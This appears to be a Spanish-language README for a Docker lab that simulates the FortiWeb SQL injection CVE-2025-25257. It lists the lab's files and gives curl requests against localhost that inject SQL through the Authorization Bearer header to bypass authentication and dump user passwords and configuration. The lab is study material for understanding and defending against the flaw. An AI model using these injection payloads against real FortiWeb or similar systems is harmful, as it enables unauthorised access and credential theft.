
Arquitectura de la Experimentación (el entorno simula los componentes vulnerables de FortiWeb)
Endpoint vulnerable : /api/system/fabric/config
Vector de inyección : Header HTTP Authorization: Bearer
Mecanismo : Concatenación SQL directa (f-string de Python)
Autenticación : Ninguna (bypass total)
Base de datos : SQLite (para demostración)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile : servicio http vulnerable de forma intencionada / expone una API explotable sin autenticación
docker-compose.yml : orquesta un servicio vulnerable reproducible / expone la API atacable mediante http / aísla el entorno de experimentación
requirements.txt : garantiza un entorno estable y reproducible
app.py : implementa un endpoint pre-autenticación / acepta una entrada de usuario mediante Authorization / concatena esa entrada en una consulta SQL / permite el bypass de autenticación y la extracción de datos
init_db.py : prepara un conjunto de datos explotable / permite una demostración clara del bypass de autenticación y de la exfiltración de datos
payload.txt proporciona una prueba mínima, controlada y observable de ejecución de código
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl http://localhost:8080/api/system/status
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest